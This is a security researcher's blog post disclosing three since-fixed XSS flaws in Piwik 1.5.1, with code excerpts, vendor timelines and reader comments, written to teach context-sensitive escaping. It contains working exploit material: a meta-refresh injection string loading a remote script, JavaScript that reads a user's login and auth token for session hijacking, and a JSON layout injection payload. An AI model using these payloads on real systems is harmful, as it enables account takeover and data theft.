Monday, October 31, 2011

Piwik ≤ 1.5.1 multiple XSS vulnerabilities

Some time ago I discovered a few interesting XSS vulnerabilities in Piwik Open Source Web Analytics software. Thanks to developers, all of those are now fixed in Piwik 1.6. But nonetheless, these are not the usual XSS cases, so I found them interesting enough to publish this.

Piwik is a downloadable, open source (GPL licensed) real time web analytics software program. It provides you with detailed reports on your website visitors: the search engines and keywords they used, the language they speak, your popular pages… and so much more.

Piwik aims to be an open source alternative to Google Analytics, and is already used on more than 150,000 websites.

Reflected XSS in meta redirect

It's a XSS vulnerability for IE6 users in default Piwik installation in the current version (1.5.1), older versions are possibly also affected (not tested).

Piwik user interface (where you can browse statistics for your website etc.) in a few places redirects you to main Piwik site (*.piwik.org). It does so by using meta refresh, but to avoid open redirect vulnerability it tries to do that only for legitimate Piwik URLs (*.piwik.org). However,  url request parameter used in plugins/Proxy/Controller.php redirect() function is sanitized only using "standard" Anti-XSS methods, removing <>," and other entities.

This is the body of the method:
public function redirect()
{
       $url = Piwik_Common::getRequestVar('url', '', 'string', $_GET);

       // validate referrer
       $referrer = Piwik_Url::getReferer();
       if(!empty($referrer) && !Piwik_Url::isLocalUrl($referrer))
       {
               die('Invalid Referer detected - check that your browser sends the Referer header. <br/>The link you would have been redirected to is: '.$url);
               exit;
       }

       // mask visits to *.piwik.org
       if(self::isPiwikUrl($url))
       {
               echo
'<html><head>
<meta http-equiv="refresh" content="0;url=' . $url . '" />
</head></html>';
       }
       exit;
}
The URL is directly outputted in meta header only if it's a "Piwik URL":
static public function isPiwikUrl($url)
{
       if(preg_match('~^http://(qa\.|demo\.|dev\.|forum\.)?piwik.org([#?/]|$)~', $url))
       {
               return true;
       }
       return false;
}
However, even with those restrictions attacker can trigger XSS in Internet Explorer 6, because that browser has two interesting features:
  1. it allows to specify multiple URLs in meta refresh (and uses only the last one)
  2. it allows javascript: URLs in meta refresh
We can use 1) to bypass isPiwikUrl() restriction and 2) to trigger XSS. The exemplary payload is demonstrated in the image below:
Sweet, sweet alert()
What could you do with such an XSS? I prepared more advanced exploit trying to get the login and auth token of the Piwik user by tricking him into visiting malicious URL. The sample exploit looked like this:
// inject with 
// &url=http://piwik.org/;url=javascript:(function(d){(s=d.createElement('script')).src='//url-of-the-code-below/'%2BMath.random(),d.body.appendChild(s)})(document);

var url = 'http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js';

(function(d){(s=d.createElement('script')).src=url;d.body.appendChild(s)})(document);
(function(d){(s=d.createElement('p')).innerText="Please wait...";d.body.appendChild(s)})(document);

setTimeout(function() {
 $("<div>").load('index.php', function(data) {
   alert("url:" + piwik.piwik_url + "\nlogin: " + piwik.userLogin + "\ntoken: " + piwik.token_auth);
  });

}, 2000);

In my exemplary installation, as soon as the user was logged in (or used remember me cookie, so that Piwik would autologin him anyway), I was able to successfully steal these information and that allowed me to hijack the session:

Steal login auth cookie
Lessons to learn - you should disallow semicolon in URL displayed in the meta refresh header. XSS is really a context-sensitive b*tch.

Timeline:
29.07.2011 - Notified vendor
30.07.2011 - Vendor replied
31.07.2011 - Vendor confirmed the issue
29.09.2011 - Issue fixed in SVN
18.10.2011 - Piwik 1.6 with the fix released

Stored Cross Site Scripting via data: URI

To gather statistics for a site, Piwik uses a tracker script that's being requested from the monitored website with current URL as a script parameter. Piwik allows & logs any kind of URI in its tracker 'url' parameter, including potentially malicious data: and javascript: URIs It is possible to inject these kind of URIs by manually calling piwik tracker (piwik.php) - that allows attacker to easily plant the XSS payload.
Logged in piwik user can see & browse the tracked URLs in Visitors / Visitors Log menu (Live plugin, getVisitorLog action).
These URLs are properly escaped and are displayed using <a href='' target=_blank> tag, so they will open in a new window. Clicking on malicious URL will execute the stored XSS payload
  1. XSS: In Opera (11.5) and Firefox (5) the new window with javascript: / data: URI location shares the same origin as opener, allowing for XSS - in this example, the token_auth of a logged in user is displayed (but this can of course be leveraged to transfer the token to attacker). In this scenario, Piwik user must be tricked into clicking the data: OR javascript: URL in the Visitor Log to exploit this vulnerability. A convincing URL title (also controlled by the attacker) could be used for this purpose.
  2. Clickjacking: The Visitors / Visitors Log menu page is displayed without any form of frame busting, so it's possible to launch the previous attack as clickjacking. The only thing required from a logged in Piwik user is a single click on an (possibly invisible) frame. First, a Piwik tracker is used to log a malicious URL visit. Second, a frame positioned to this URL in visitor log is displayed with 0 opacity and user is enticed to click on the frame using social engineering. Once again, Opera (11.5) or Firefox (5) is required.
Piwik 1.5.1 Log action with the payload
Timeline: 
05.08.2011 - Notified vendor
08.08.2011 - Vendor confirmed the issue
29.09.2011 - Issue fixed in SVN
18.10.2011 - Piwik 1.6 with the fix released

Stored XSS in layout parameter

Piwik dashboard displays widgets with various site statistics. User can drag & drop the widgets into various places in interface to reorder them. The ordering and setup of the widgets is stored on server. For anonymous user the storage container is session data, for logged in users the settings are stored in database.
Saving the layout is done by issuing AJAX call with 'layout' parameter being the serialized JSON with the settings.
Exemplary settings are displayed below:
[[{"uniqueId":"widgetVisitsSummarygetEvolutionGraphcolumnsArray","parameters":{"module":"VisitsSummary","action":"getEvolutionGraph","columns":["nb_visits"]}},{"uniqueId":"widgetLivewidget","parameters":{"module":"Live","action":"widget"}},{"uniqueId":"widgetVisitorInterestgetNumberOfVisitsPerVisitDuration","parameters":{"module":"VisitorInterest","action":"getNumberOfVisitsPerVisitDuration"}},{"uniqueId":"widgetExampleFeedburnerfeedburner","parameters":{"module":"ExampleFeedburner","action":"feedburner"}}],[{"uniqueId":"widgetReferersgetWebsites","parameters":{"module":"Referers","action":"getWebsites"}}],[{"uniqueId":"widgetReferersgetKeywords","parameters":{"module":"Referers","action":"getKeywords"}},{"uniqueId":"widgetUserCountryMapworldMap","parameters":{"module":"UserCountryMap","action":"worldMap"}},{"uniqueId":"widgetUserSettingsgetBrowser","parameters":{"module":"UserSettings","action":"getBrowser"}},{"uniqueId":"widgetReferersgetSearchEngines","parameters":{"module":"Referers","action":"getSearchEngines"}},{"uniqueId":"widgetVisitTimegetVisitInformationPerServerTime","parameters":{"module":"VisitTime","action":"getVisitInformationPerServerTime"}},{"uniqueId":"widgetExampleRssWidgetrssPiwik","parameters":{"module":"ExampleRssWidget","action":"rssPiwik"}}]]

When displaying the dashboard, layout setting are retrieved and echoed back to user in a JS variable:
piwik.dashboardLayout = [[{"uniqueId":"widgetVisitsSumma...
Layout parameter is only minimally sanitized before storing it, there's a HTML escaping when storing, but that gets unescaped with html_entity_decode() on display:
// plugins/Dashboard/Controller.php

  // layout was JSON.stringified
  $layout = html_entity_decode($layout);
  $layout = str_replace("\\\"", "\"", $layout);

  // compatibility with the old layout format
  if(!empty($layout)
   && strstr($layout, '[[') == false) {
   $layout = "'$layout'";
  }
Injecting a specially formatted layout parameter will cause XSS. Exemplary payload:
[[]];alert(12345)
resulting in attacker's code execution
piwik.dashboardLayout = [[]];alert(12345);
Saving layout requires access to the Dashboard, and, unless the user is anonymous, attacker needs to know the token_auth value of the victim user, so installations which allow anonymous access to dashboard for any website statistics are affected most. Solution was to sanitize incoming 'layout' parameter e.g. with json_encode() before storing it in database / session and skip support for the old 'string' format of the parameter. Related read: how to validate JSON properly.

Timeline: 
17.08.2011 - Notified vendor
12.10.2011 - Issue fixed in SVN
18.10.2011 - Piwik 1.6 with the fix released

Summary

Developers - XSS is really about context. Escaping < > and " is not enough! In all described cases attacker could execute Javascript code without using any of those forbidden characters, because the context was different. In these cases XSS was triggered by:
  • meta refresh URI parameter (; was dangerous there because of IE bug)
  • URI that didn't begin with http://
  • JSON that was not validated correctly
You could htmlspecialchars() all of these and it wouldn't help at all.

I'd like to thank Piwik team for cooperation in fixing these bugs. Throughout the process we exchanged several emails and the communication was exemplary. They're great to work with - and the software is good too - apart from the issues found ;)

8 comments:

m.ardito said...

thank you, very much! and btw i just learned also what lindy hop is :-)

genesis said...

Could you tell me, how was the bug resolved?

s1m0n said...

Nice findings, congrats koto. I'm wondering with who you were writing about these issues from piwik's developers team...

Strange that they didn't like my findings reported to them but silently fixed them. At least some of them. Shame on you guys;-p

kkotowicz said...

I've just written to security@piwik.org and they responded. 

A.M. said...

seriously, how the hell do you remember/know all particularities of every browser? IE6, FF 5, Opera 11.5 etc....

Krzysztof Kotowicz said...

Experience I guess - all the quirks are exceptions and exceptions are easier to remember.

A.M. said...

is stuff like this written somewhere? so that i know where to start learning?
Thanks.

Krzysztof Kotowicz said...

http://html5sec.org would be closest to what you're looking for.